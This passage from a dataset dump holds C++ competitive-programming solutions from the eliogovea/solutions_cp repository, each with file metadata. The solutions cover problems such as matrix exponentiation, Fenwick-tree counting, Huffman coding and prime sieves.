-= MOD;\n }\n}\n\ninline LL mul(LL a, LL b) {\n return (a * b) % MOD;\n}\n\nint SZ;\n\nstruct matrix {\n LL mat[22][22];\n LL * operator [] (int x) {\n return mat[x];\n }\n const LL * operator [] (int x) const {\n return mat[x];\n }\n matrix(LL v) {\n for (int i = 0; i < SZ; i++) {\n for (int j = 0; j < SZ; j++) {\n mat[i][j] = 0;\n if (i == j) {\n mat[i][j] = v;\n }\n }\n }\n }\n};\n\nmatrix operator * (const matrix &a, const matrix &b) {\n matrix res(0);\n for (int i = 0; i < SZ; i++) {\n for (int j = 0; j < SZ; j++) {\n for (int k = 0; k < SZ; k++) {\n add(res[i][j], mul(a[i][k], b[k][j]));\n }\n }\n }\n return res;\n}\n\nmatrix power(matrix x, long long n) {\n matrix res(1);\n while (n) {\n if (n & 1LL) {\n res = res * x;\n }\n x = x * x;\n n >>= 1LL;\n }\n return res;\n}\n\nlong long f[25], k[25];\n\nint n, c;\nlong long m;\n\nvoid print(matrix M) {\n for (int i = 0; i < SZ; i++) {\n for (int j = 0; j < SZ; j++) {\n cout << M[i][j] << \" \";\n }\n cout << \"\\n\";\n }\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n //freopen(\"dat.txt\", \"r\", stdin);\n cin >> n >> m >> c;\n for (int i = 1; i <= n; i++) {\n cin >> f[i];\n }\n for (int i = 0; i < c; i++) {\n cin >> k[i];\n }\n if (m <= n) {\n cout << f[m] << \"\\n\";\n return 0;\n }\n SZ = n;\n matrix M(0);\n for (int i = 0; i < c; i++) {\n M[0][k[i] - 1]++;\n }\n for (int i = 1; i < n; i++) {\n M[i][i - 1]++;\n }\n //print(M);\n M = power(M, m - n);\n //print(M);\n LL ans = 0;\n for (int i = 0; i < n; i++) {\n add(ans, mul(f[n - i], M[0][i]));\n }\n cout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3798219561576843, "alphanum_fraction": 0.40801188349723816, "avg_line_length": 12.340425491333008, "blob_id": "90ae7d0efcdd2c18f8764973f8ba25e0027b922b", "content_id": "36c5744bb2dd19d40d783d04bc2dd20963399554", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 674, "license_type": "no_license", "max_line_length": 35, "num_lines": 47, "path": "/COJ/eliogovea-cojAC/eliogovea-p3526-Accepted-s908155.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100000;\r\n\r\nint n;\r\nint a[N + 5];\r\nint ans[N + 5];\r\n\r\nint bit[N + 5];\r\n\r\nvoid update(int p, int v) {\r\n\twhile (p <= N) {\r\n\t\tbit[p] += v;\r\n\t\tp += p & -p;\r\n\t}\r\n}\r\n\r\nint query(int p) {\r\n\tint res = 0;\r\n\twhile (p > 0) {\r\n\t\tres += bit[p];\r\n\t\tp -= p & -p;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> a[i];\r\n\t}\r\n\tfor (int i = n - 1; i >= 0; i--) {\r\n\t\tans[i] = n - 1 - i - query(a[i]);\r\n\t\tupdate(a[i], 1);\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcout << ans[i];\r\n\t\tif (i + 1 < n) {\r\n\t\t\tcout << \" \";\r\n\t\t}\r\n\t}\r\n\tcout << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3497537076473236, "alphanum_fraction": 0.3645320236682892, "avg_line_length": 14.916666984558105, "blob_id": "3ae0b70d1c307e83dfee442aea91a435b9d3922b", "content_id": "6483876f1774946bf7ae817ebb1270a48494b893", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 406, "license_type": "no_license", "max_line_length": 38, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p1216-Accepted-s537924.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<map>\r\nusing namespace std;\r\n\r\nmap<int,int>m;\r\nint c,n,ac,x,ans;\r\n\r\nint main()\r\n{\r\n for(scanf(\"%d\",&c);c--;)\r\n {\r\n m.clear();\r\n ac=ans=0;\r\n for(scanf(\"%d\",&n);n--;)\r\n {\r\n m[ac]++;\r\n scanf(\"%d\",&x);\r\n ac+=x;\r\n if(m[ac-47])ans+=m[ac-47];\r\n }\r\n printf(\"%d\\n\",ans);\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.4108695685863495, "alphanum_fraction": 0.43586957454681396, "avg_line_length": 15.140351295471191, "blob_id": "5b48f8623968f80e3fea1bde651155b4ffa7a955", "content_id": "5c01ff80dd469dcd9407f3d1a823acb962377b85", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 920, "license_type": "no_license", "max_line_length": 52, "num_lines": 57, "path": "/Codeforces-Gym/100112 - 2012 Nordic Collegiate Programming Contest (NCPC)/J.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2012 Nordic Collegiate Programming Contest (NCPC)\n// 100112J\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\ntypedef pair<int,int> par;\n\nconst int MAXN = 10010;\n\npar a[MAXN];\n\nint r[MAXN] , c[MAXN];\nint p[MAXN];\n\nbool ok( int u, int d ){\n if( u == 0 ){\n return true;\n }\n\n return ( c[u] >= d && ok( p[u] , d ) );\n}\n\nvoid doo( int u, int d ){\n if( u == 0 ){\n return;\n }\n c[u] -= d;\n doo( p[u] , d );\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n; cin >> n;\n for( int i = 1; i <= n; i++ ){\n cin >> p[i] >> r[i] >> c[i];\n a[i-1] = par( r[i] , i );\n }\n\n sort( a , a + n );\n\n int sol = 0;\n for( int i = 0; i < n; i++ ){\n if( ok( a[i].second , a[i].first ) ){\n sol++;\n doo( a[i].second , a[i].first );\n }\n }\n\n cout << sol << '\\n';\n}\n" }, { "alpha_fraction": 0.34799686074256897, "alphanum_fraction": 0.3660644292831421, "avg_line_length": 16.68055534362793, "blob_id": "6ffa6b7f99675e155399d0435c0f747cd6e171f6", "content_id": "934740b9171f8c0d1468c7cc5903de9e2ebcdadf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1273, "license_type": "no_license", "max_line_length": 76, "num_lines": 72, "path": "/Caribbean-Training-Camp-2018/Contest_2/Solutions/B2.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ninline int power(int x, int n, int p) {\n\tint y = 1;\n\twhile (n) {\n\t\tif (n & 1) {\n\t\t\ty = (long long)y * x % p;\n\t\t}\n\t\tx = (long long)x * x % p;\n\t\tn >>= 1;\n\t}\n\treturn y;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tint tc, a, b, p;\n\tcin >> tc;\n\t\n\twhile (tc--) {\n\t\tcin >> p >> a >> b;\n\t\tb %= p;\n\n\t\tif (b == 0) {\n\t\t\tint t = min(10, p - (a == 0));\n\t\t\tcout << t << \"\\n\";\n\t\t\tfor (int i = (a == 0); i < t; i++) {\n\t\t\t\tcout << i;\n\t\t\t\tif (i + 1 < t) {\n\t\t\t\t\tcout << \" \";\n\t\t\t\t}\n\t\t\t}\n\t\t\tcout << \"\\n\";\n\t\t} else {\n\t\t\tint t = __gcd(p - 1, a);\n\t\t\tint cnt = min(10, t - 1);\n\t\t\tset <int> S;\n\t\t\tif (cnt > 0) {\n\t\t\t\tint e = (p - 1) / t;\n\t\t\t\twhile (S.size() < cnt) {\n\t\t\t\t\tint x = 1 + (rand() % (p - 1));\n\t\t\t\t\tint y = power(x, e, p);\n\n\t\t\t\t\tif (y == 1) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\n\t\t\t\t\t// cerr << \"size: \" << S.size() << \"\\n\";\n\t\t\t\t\t// cerr << \"debug: \" << x << \" \" << y << \" \" << power(y, a, p) << \"\\n\";\n\t\t\t\t\tassert(power(y, a, p) == 1);\n\t\t\t\t\tS.insert(y);\n\t\t\t\t}\n\t\t\t}\n\t\t\tint c = 0;\n\t\t\tcout << cnt << \"\\n\";\n\t\t\tfor (auto & y : S) {\n\t\t\t\tint x = (long long)b * power(y - 1, p - 2, p) % p;\n\t\t\t\tassert(power((x + b) % p, a, p) == power(x, a, p));\n\t\t\t\tcout << x;\n\t\t\t\tc++;\n\t\t\t\tif (c < cnt) {\n\t\t\t\t\tcout << \" \";\n\t\t\t\t}\n\t\t\t}\n\t\t\tcout << \"\\n\";\n\t\t}\n\t}\n}\n" }, { "alpha_fraction": 0.3915562927722931, "alphanum_fraction": 0.431291401386261, "avg_line_length": 19.192981719970703, "blob_id": "6ce6b10edf1860d8927bb3b64fd27e0c94a2fb4e", "content_id": "fcbfd3073ba937d3ffa0324f9792f08d5a735593", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1208, "license_type": "no_license", "max_line_length": 56, "num_lines": 57, "path": "/COJ/eliogovea-cojAC/eliogovea-p2898-Accepted-s625586.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nconst int MAXN = 1000000;\r\n\r\nint n, a[2005];\r\nbool criba[MAXN + 5];\r\nvector<int> p;\r\nvoid Criba() {\r\n\tfor (int i = 2; i * i <= MAXN; i++)\r\n\t\tif (!criba[i])\r\n\t\t\tfor (int j = i * i; j <= MAXN; j += i)\r\n\t\t\t\tcriba[j] = 1;\r\n\tp.push_back(2);\r\n\tfor (int i = 3; i <= MAXN; i += 2)\r\n\t\tif (!criba[i]) p.push_back(i);\r\n}\r\n\r\nmap<int, int> M;\r\nmap<int, int>::iterator it;\r\nvector<int> f[2005];\r\nvector<int>::iterator vit;\r\nint sol, act;\r\n\r\nint main() {\r\n\tCriba();\r\n\tscanf(\"%d\", &n);\r\n\tfor (int i = 0; i < n; i++) scanf(\"%d\", &a[i]);\r\n\tint p1 = 0, p2 = 0;\r\n\twhile (p1 <= n) {\r\n\t\t\tbool rep = false;\r\n\t\t\tfor (it = M.begin(); it != M.end(); it++)\r\n\t\t\t\tif (it->second > 1) {\r\n\t\t\t\t\trep = true;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\tif (rep) {\r\n\t\t\t\tfor (vit = f[p2].begin(); vit != f[p2].end(); vit++)\r\n\t\t\t\t\tM[*vit]--;\r\n\t\t\t\tp2++;\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\tsol = max(sol, p1 - p2);\r\n\t\t\t\tif (p1 == n) break;\r\n\r\n\t\t\t\tfor (int i = 0; p[i] * p[i] <= a[p1]; i++)\r\n\t\t\t\t\tif (a[p1] % p[i] == 0) {\r\n\t\t\t\t\t\tf[p1].push_back(p[i]);\r\n\t\t\t\t\t\tM[p[i]]++;\r\n\t\t\t\t\t\twhile (a[p1] % p[i] == 0) a[p1] /= p[i];\r\n\t\t\t\t\t}\r\n\t\t\t\tif (a[p1] > 1) f[p1].push_back(a[p1]), M[a[p1]]++;\r\n\t\t\t\tp1++;\r\n\t\t\t}\r\n\t}\r\n\tprintf(\"%d\\n\", sol);\r\n}\r\n" }, { "alpha_fraction": 0.4232558012008667, "alphanum_fraction": 0.45116278529167175, "avg_line_length": 13.726027488708496, "blob_id": "e5413b57c36b964bb852695ff65c0b7ff50c5237", "content_id": "73d93e78a7501d05feb9b6a970b1f435b3d19d4a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1075, "license_type": "no_license", "max_line_length": 54, "num_lines": 73, "path": "/Caribbean-Training-Camp-2018/Contest_2/Solutions/C2.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int M = 1000 * 1000 * 1000 + 7;\n\ninline void add(int & a, int b) {\n\ta += b;\n\tif (a >= M) {\n\t\ta -= M;\n\t}\n}\n\ninline int mul(int a, int b) {\n\treturn (long long)a * b % M;\n}\n\ninline int power(int x, int n) {\n\tint y = 1;\n\twhile (n) {\n\t\tif (n & 1) {\n\t\t\ty = mul(y, x);\n\t\t}\n\t\tx = mul(x, x);\n\t\tn >>= 1;\n\t}\n\treturn y;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tint n, p;\n\tcin >> p >> n;\n\n\tint q = p - 1;\n\n\tint t = 0;\n\tint s = 0;\n\n\n\tvector <long long> divs;\n\n\tfor (int d = 1; d * d <= q; d++) {\n\t\tif (q % d == 0) {\n\t\t\tdivs.push_back(d);\n\t\t\tdivs.push_back((long long)d * p);\n\t\t\tif (d * d < q) {\n\t\t\t\tdivs.push_back(q / d);\n\t\t\t\tdivs.push_back((long long)p * (q / d));\n\t\t\t}\n\t\t}\n\t}\n\n\tt = divs.size();\n\n\tif (n == 0) {\n\t\ts = (long long)q * t % M;\n\t} else {\n\t\tfor (auto d : divs) {\n\t\t\tlong long a1 = d + p - 1LL;\n\t\t\tlong long a2 = (long long)p * (long long)q / d + p;\n\t\t\tif (n == 1) {\n\t\t\t\tadd(s, a1 % M);\n\t\t\t} else {\n\t\t\t\tint an = mul(a2 % M, power(p, n - 2));\n\t\t\t\tadd(s, an);\n\t\t\t}\n\t\t}\n\t}\n\tcout << t << \" \" << s << \"\\n\";\n}\n" }, { "alpha_fraction": 0.4000000059604645, "alphanum_fraction": 0.43089431524276733, "avg_line_length": 13.642857551574707, "blob_id": "9ff97ff67a79c093921694ff33226f05374b36cc", "content_id": "727e002bea20178487bbc32fd053ed2cb913e77a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 615, "license_type": "no_license", "max_line_length": 51, "num_lines": 42, "path": "/Caribbean-Training-Camp-2018/Contest_3/Solutions/A3.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\n\nconst int MAXN = 100100;\n\n\nll f[MAXN];\nvoid calc_fact( ll n ){\n f[0] = 1;\n for( ll i = 1; i <= n; i++ ) f[i] = f[i-1] * i;\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n //freopen(\"dat.txt\", \"r\", stdin);\n\n string s; cin >> s;\n\n calc_fact( s.size() );\n\n int n = s.size();\n\n vector<ll> cnt( 30 , 0 );\n\n for( int i = 0; i < n; i++ ){\n cnt[ s[i] - 'a' ]++;\n }\n\n ll sol = f[n];\n ll k = 1;\n\n for( int i = 0; i < 30; i++ ){\n k *= f[ cnt[i] ];\n }\n\n cout << sol / k << '\\n';\n}\n" }, { "alpha_fraction": 0.36328125, "alphanum_fraction": 0.39453125, "avg_line_length": 16.066667556762695, "blob_id": "4f1f2c93a3ec0957ab5663485cd0a968dd94b40d", "content_id": "551e8b91ec0b0a177f9c3b26d2d9b1b4f68d75ab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 768, "license_type": "no_license", "max_line_length": 66, "num_lines": 45, "path": "/Codeforces-Gym/100703 - 2015 V (XVI) Volga Region Open Team Student Programming Contest/L.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015 V (XVI) Volga Region Open Team Student Programming Contest\n// 100703L\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 100100;\n\nint p[MAXN] , k[MAXN] , r[MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n; cin >> n;\n\n int pp = 0, kk = 0;\n\n for( int i = 0; i < n; i++ ){\n cin >> p[i];\n }\n\n for( int i = 0; i < n; i++ ){\n cin >> k[i];\n }\n\n for( int i = 0; i < n; i++ ){\n cin >> r[i];\n }\n\n\n for( int i = 0; i < n; i++ ){\n if( abs( r[i] - p[i] ) < abs( r[i] - k[i] ) ){\n pp++;\n }\n else if( abs( r[i] - p[i] ) > abs( r[i] - k[i] ) ){\n kk++;\n }\n }\n\n cout << pp << ' ' << kk << '\\n';\n}\n" }, { "alpha_fraction": 0.3917122781276703, "alphanum_fraction": 0.4214229881763458, "avg_line_length": 18.08955192565918, "blob_id": "8c200d996bbc96adb9b8da6dcb1c4cc80e5bd397", "content_id": "e344374441904f4277513e0d3ff6df6295d8cb7e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1279, "license_type": "no_license", "max_line_length": 57, "num_lines": 67, "path": "/Codeforces-Gym/100197 - 2003-2004 Summer Petrozavodsk Camp, Andrew Stankevich Contest 2 (ASC 2)/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2003-2004 Summer Petrozavodsk Camp, Andrew Stankevich Contest 2 (ASC 2)\n// 100197C\n\n#include <cstdio>\n#include <queue>\n\nusing namespace std;\n\nstruct node {\n int l, r;\n long long val;\n int pos;\n};\n\nbool operator < (const node &a, const node &b) {\n return a.val > b.val;\n}\n\nconst int N = 500005;\n\nint n, a[N];\n\nnode tree[2 * N];\nint sz = 0;\n\n\npriority_queue<node> q;\n\nvoid build() {\n for (int i = 1; i <= n; i++) {\n q.push((node) {-1, -1, a[i], -1});\n }\n node x, y;\n while (q.size() >= 2) {\n x = q.top(); q.pop();\n y = q.top(); q.pop();\n x.pos = sz;\n tree[sz++] = x;\n y.pos = sz;\n tree[sz++] = y;\n q.push((node) {x.pos, y.pos, x.val + y.val, -1});\n }\n x = q.top(); q.pop();\n tree[sz++] = x;\n}\n\nlong long ans;\n\nint d[2 * N];\n\nint main() {\n //freopen(\"dat.txt\", \"r\", stdin);\n freopen(\"huffman.in\", \"r\", stdin);\n freopen(\"huffman.out\", \"w\", stdout);\n scanf(\"%d\", &n);\n for (int i = 1; i <= n; i++) scanf(\"%d\", a + i);\n build();\n for (int i = sz; i >= 0; i--) {\n if (tree[i].l != -1) {\n d[tree[i].l] = d[i] + 1;\n d[tree[i].r] = d[i] + 1;\n } else {\n ans += tree[i].val * d[i];\n }\n }\n printf(\"%I64d\\n\", ans);\n}\n" }, { "alpha_fraction": 0.35008665919303894, "alphanum_fraction": 0.4142114520072937, "avg_line_length": 14.485713958740234, "blob_id": "930b3a5b1ebf9cf386901474175ed116867ba3e2", "content_id": "bb1a1e41fdba5fb259783a9328fc8e6d78786c60", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 577, "license_type": "no_license", "max_line_length": 68, "num_lines": 35, "path": "/COJ/eliogovea-cojAC/eliogovea-p2680-Accepted-s628501.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nll p[15] = {2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47};\r\nconst int cp = 15;\r\n\r\nint tc;\r\nll a, b, g;\r\n\r\nll solve(ll a, ll b) {\r\n\tint r = 0;\r\n\tfor (int i = 0; i < cp; i++) {\r\n\t\twhile (a % p[i] == 0) {\r\n\t\t\tr++;\r\n\t\t\ta /= p[i];\r\n\t\t}\r\n\t\twhile (b % p[i] == 0) {\r\n\t\t\tr++;\r\n\t\t\tb /= p[i];\r\n\t\t}\r\n\t}\r\n\tif (a > 1 || b > 1) return -1;\r\n\treturn r;\r\n}\r\n\r\nint main() {\r\n\tscanf(\"%d\", &tc);\r\n\twhile (tc--) {\r\n\t\tscanf(\"%lld%lld\", &a, &b);\r\n\t\tg = __gcd(a, b);\r\n\t\tprintf(\"%lld\\n\", solve(a / g, b / g));\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3923504054546356, "alphanum_fraction": 0.4065391719341278, "avg_line_length": 24.328125, "blob_id": "f48fad77f068c2c0f96272e6468da6232622ace1", "content_id": "574aea123430411a6d5f6b10c2f6702ba2d53d4d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1621, "license_type": "no_license", "max_line_length": 86, "num_lines": 64, "path": "/Caribbean-Training-Camp-2017/Contest_3/Solutions/A3.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst double EPS = 1e-9;\n\ninline double getW(double a, double b, double angle) {\n return b * cos(angle) + a * sin(angle);\n}\n\ninline double getH(double a, double b, double angle) {\n return b * sin(angle) + a * cos(angle);\n}\n\ninline bool ok(double a, double b, double c, double d) {\n double A = atan((double)a / b);\n double W = getW(a, b, A);\n if (W <= d + EPS) {\n return (min(a, b) <= c + EPS);\n }\n if (b <= d + EPS && d <= W + EPS) {\n double lo = 0.0;\n double hi = A;\n for (int it = 0; it < 400; it++) {\n double mid = (lo + hi) / 2.0;\n if (getW(a, b, mid) < d) {\n lo = mid;\n } else {\n hi = mid;\n }\n }\n double angle = (lo + hi) / 2.0;\n if (getH(a, b, angle) <= c + EPS) {\n return true;\n }\n }\n if (a <= d + EPS && d <= W + EPS) {\n double lo = A;\n double hi = M_PI / 2.0;\n for (int it = 0; it < 400; it++) {\n double mid = (lo + hi) / 2.0;\n if (getW(a, b, mid) > d) {\n lo = mid;\n } else {\n hi = mid;\n }\n }\n double angle = (lo + hi) / 2.0;\n if (getH(a, b, angle) <= c + EPS) {\n return true;\n }\n }\n return false;\n}\n\nint main()\n{\n ios::sync_with_stdio(false);\n cin.tie(0);\n int a, b, c, d;\n cin >> a >> b >> c >> d;\n bool ans = (ok(a, b, c, d) || ok(b, a, c, d) || ok(a, b, d, c) || ok(b, a, d, c));\n cout << (ans ? \"Possible\" : \"Impossible\") << \"\\n\";\n}\n" }, { "alpha_fraction": 0.4198473393917084, "alphanum_fraction": 0.44601961970329285, "avg_line_length": 17.10416603088379, "blob_id": "5804622931aab240de42d2497ac43ad03a58f5e3", "content_id": "af20f8334f70094990b70385e7d251eb295ab2fb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 917, "license_type": "no_license", "max_line_length": 82, "num_lines": 48, "path": "/COJ/eliogovea-cojAC/eliogovea-p3384-Accepted-s869525.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint n, m, r, e;\r\n\r\nvector <int> g[1005];\r\n\r\nbool mark[1005];\r\n\r\nint nodes, edges;\r\n\r\nvoid dfs(int u) {\r\n\tmark[u] = true;\r\n\tnodes++;\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\tint v = g[u][i];\r\n\t\tedges++;\r\n\t\tif (!mark[v]) dfs(v);\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n >> m >> r >> e;\r\n\tfor (int i = 0, x, y; i < m; i++) {\r\n\t\tcin >> x >> y;\r\n\t\tg[x].push_back(y);\r\n\t\tg[y].push_back(x);\r\n\t}\r\n\tlong long ans = 0;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tif (!mark[i]) {\r\n\t\t\tnodes = 0;\r\n\t\t\tedges = 0;\r\n\t\t\tdfs(i);\r\n\t\t\tedges /= 2;\r\n\t\t\t//cout << nodes << \" \" << edges << \" \";\r\n\t\t\tlong long v1 = (long long)((long long)nodes * (nodes - 1LL) / 2LL - edges) * r;\r\n\t\t\tlong long v2 = (long long)nodes * e;\r\n\t\t\t//cout << v1 << \" \" << v2 << \"\\n\";\r\n\t\t\tans += min(v1, v2);\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3505154550075531, "alphanum_fraction": 0.37457045912742615, "avg_line_length": 19.785715103149414, "blob_id": "844bc98d367b249e0afc24d226d1e675865ce215", "content_id": "4443f8be9393c043be96ff07c9ad3a83b1ba23d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1164, "license_type": "no_license", "max_line_length": 58, "num_lines": 56, "path": "/Codeforces-Gym/100801 - 2015-2016 ACM-ICPC, NEERC, Northern Subregional Contest/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015-2016 ACM-ICPC, NEERC, Northern Subregional Contest\n// 100801B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nvector <string> ans;\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n //freopen(\"dat.txt\", \"r\", stdin);\n freopen(\"black.in\", \"r\", stdin);\n freopen(\"black.out\", \"w\", stdout);\n int b, w;\n cin >> b >> w;\n bool x = false;\n string s = \"@.\";\n if (b == w) {\n cout << b << \" 2\\n\";\n for (int i = 0; i < b; i++) {\n cout << s << \"\\n\";\n swap(s[0], s[1]);\n }\n return 0;\n }\n\n while (b > 1 && w > 1) {\n ans.push_back(s);\n swap(s[0], s[1]);\n x = true;\n b--;\n w--;\n }\n if (b > 1) {\n if (x) ans.push_back(\"@@\");\n while (b) {\n ans.push_back(\"..\");\n ans.push_back(\".@\");\n b--;\n }\n }\n if (w > 1) {\n if (x) ans.push_back(\"..\");\n while (w) {\n ans.push_back(\"@@\");\n ans.push_back(\".@\");\n w--;\n }\n }\n cout << ans.size() << \" 2\\n\";\n for (int i = 0; i < ans.size(); i++) {\n cout << ans[i] << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.4265402853488922, "alphanum_fraction": 0.4533965289592743, "avg_line_length": 17.78125, "blob_id": "006f266f9e3444ede1b880131c1752c82b7dd113", "content_id": "fb3bb522126a98510953860f10b197a0157ccc6a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 633, "license_type": "no_license", "max_line_length": 41, "num_lines": 32, "path": "/COJ/eliogovea-cojAC/eliogovea-p2411-Accepted-s640856.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n#include <map>\r\n\r\nusing namespace std;\r\n\r\nint n, q, d, x, r, t, sol;\r\nint pl[100005];\r\nmap<string, int> M;\r\nmap<string, int>::iterator it;\r\nstring s;\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n\tcin >> n >> q;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> s >> d;\r\n\t\tM[s] = d;\r\n\t\tpl[i] = d;\r\n\t}\r\n\tsort(pl, pl + n);\r\n\twhile (q--) {\r\n\t\tcin >> s >> d;\r\n\t\tx = d / 100, r = d % 100, t = 1 << x;\r\n\t\tt = t + r * t / 100;\r\n\t\tit = M.find(s);\r\n\t\tif (it == M.end() || it->second > t) {\r\n\t\t\tsol = upper_bound(pl, pl + n, t) - pl;\r\n\t\t\tcout << \"No \" << sol << '\\n';\r\n\t\t}\r\n\t\telse cout << \"Yes\\n\";\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.4455445408821106, "alphanum_fraction": 0.4653465449810028, "avg_line_length": 18.659090042114258, "blob_id": "6036bd4c37521d36f49968946bd003d837b29d66", "content_id": "86d54fb6c45d87d8aa583f58499072962c3f3cd6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 909, "license_type": "no_license", "max_line_length": 66, "num_lines": 44, "path": "/COJ/eliogovea-cojAC/eliogovea-p1974-Accepted-s629702.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nconst int MAXN = 100005;\r\n\r\nint n, d, sol = 1 << 29;\r\n\r\nstruct pt {\r\n\tint x, y;\r\n\tpt() {}\r\n\tpt(int a, int b) : x(a), y(b) {}\r\n\tbool operator < (const pt &P) const {\r\n\t\tif (x != P.x) return x < P.x;\r\n\t\treturn y < P.y;\r\n\t}\r\n} pts[MAXN];\r\n\r\nstruct cmp_y {\r\n\tbool operator () (const pt &a, const pt &b) {\r\n\t\tif (a.y != b.y) return a.y < b.y;\r\n\t\treturn a.x < b.x;\r\n\t}\r\n};\r\n\r\nset<pt, cmp_y> S;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin >> n >> d;\r\n\tfor (int i = 0; i < n; i++)\r\n\t\tcin >> pts[i].x >> pts[i].y;\r\n\tsort(pts, pts + n);\r\n int tail = 0;\r\n\tfor (int i = 0; i <= n; i++) {\r\n\t\twhile (S.size() > 1 && abs(S.rbegin()->y - S.begin()->y) >= d) {\r\n\t\t\tsol = min(sol, pts[i - 1].x - pts[tail].x);\r\n\t\t\tS.erase(S.find(pts[tail]));\r\n\t\t\ttail++;\r\n\t\t}\r\n\t\tif (i < n) S.insert(pts[i]);\r\n\t}\r\n\tif (sol == 1 << 29) cout << \"-1\\n\";\r\n\telse cout << sol << '\\n';\r\n}\r\n" }, { "alpha_fraction": 0.5551794171333313, "alphanum_fraction": 0.5693974494934082, "avg_line_length": 20.705883026123047, "blob_id": "d0e35c9321fa3300f0c9c2725bd98ddae0c86a29", "content_id": "90e47cfe639ca832c12c0afdcdbfdc181349dd1d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1477, "license_type": "no_license", "max_line_length": 88, "num_lines": 68, "path": 